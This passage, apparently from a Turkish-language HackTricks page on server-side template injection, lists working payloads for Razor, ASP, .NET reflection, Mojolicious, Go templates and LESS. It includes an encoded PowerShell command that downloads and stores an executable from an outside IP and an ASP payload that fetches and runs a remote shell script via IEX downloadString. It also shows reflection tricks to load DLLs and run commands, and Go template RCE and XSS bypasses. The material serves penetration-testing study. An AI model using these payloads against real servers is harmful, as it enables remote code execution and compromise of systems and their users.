  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

.NET System.Diagnostics.Process.Start metodu sunucuda herhangi bir process başlatmak ve böylece bir webshell oluşturmak için kullanılabilir. Zafiyetli bir webapp örneğini https://github.com/cnotin/RazorVulnerableApp adresinde bulabilirsiniz.

Daha fazla bilgi

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nothing
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Daha Fazla Bilgi

.Net Kısıtlamalarını Aşma

The .NET Reflection mekanizmaları, blacklisting’i veya assembly içinde sınıfların bulunmamasını atlatmak için kullanılabilir. DLL’s runtime sırasında yüklenebilir; temel nesneler üzerinden yöntemlere ve özelliklere erişim sağlanabilir.

Dll’s can be loaded with:

  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))} - from filesystem.
  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])} - directly from request.

Tam komut yürütme:

{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}

Daha Fazla Bilgi

Mojolicious (Perl)

Perl olmasına rağmen Ruby’deki ERB gibi etiketler kullanır.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI in GO

Go’nun template motorunda kullanımının doğrulanması belirli payload’larla yapılabilir:

  • {{ . }}: Veri yapısı girdisini gösterir. Örneğin, Password özelliğine sahip bir nesne geçirilirse, {{ .Password }} bunu açığa çıkarabilir.
  • {{printf "%s" "ssti" }}: Beklenen çıktı “ssti” string’ini göstermesidir.
  • {{html "ssti"}}, {{js "ssti"}}: Bu payload’lar “ssti“yi “html” veya “js” ekleyerek döndürmemelidir. Daha fazla direktif Go dokümantasyonunda incelenebilir here.

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

XSS Exploitation

text/template paketinde, payload’u doğrudan ekleyerek XSS kolayca gerçekleştirilebilir. Buna karşılık html/template paketi bunu önlemek için yanıtı encode eder (ör. {{"<script>alert(1)</script>"}} &lt;script&gt;alert(1)&lt;/script&gt; ile sonuçlanır). Ancak, Go’da template tanımlama ve çağırma bu encoding’i atlatabilir: {{define “T1”}}alert(1){{end}} {{template “T1”}}

vbnet Kodu kopyala

RCE Exploitation

RCE exploitation html/template ile text/template arasında önemli ölçüde farklılık gösterir. text/template modülü herhangi bir public fonksiyonu doğrudan çağırmaya izin verir (“call” değeri kullanılarak), bu html/template’de izinli değildir. Bu modüller için dokümantasyon here for html/template ve here for text/template.

Go’da SSTI yoluyla RCE için, nesne metodları çağrılabilir. Örneğin, sağlanan nesnede komut çalıştıran bir System metodu varsa, {{ .System "ls" }} gibi sömürülebilir. Bu tür bir açığı exploit etmek genellikle kaynak koda erişmeyi gerektirir, verilen örnekte olduğu gibi:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Daha fazla bilgi

LESS (CSS Önişlemcisi)

LESS, değişkenler, mixin’ler, fonksiyonlar ve güçlü @import yönergesini ekleyen popüler bir CSS önişlemcisidir. Derleme sırasında LESS motoru @import ifadelerinde referans verilen kaynakları getirir ve (inline) seçeneği kullanıldığında bunların içeriklerini sonuç CSS’e gömer (“inline”).

{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}

Daha Fazla Exploits

Daha fazla exploits için https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection deposunun kalanına bakın. Ayrıca ilginç tag bilgilerini https://github.com/DiogoMRSilva/websitesVulnerableToSSTI adresinde bulabilirsiniz.

BlackHat PDF

İlgili Yardım

Faydalı olabileceğini düşünüyorsanız, şunları okuyun:

Araçlar

Brute-Force Detection List

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt

Uygulama & Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin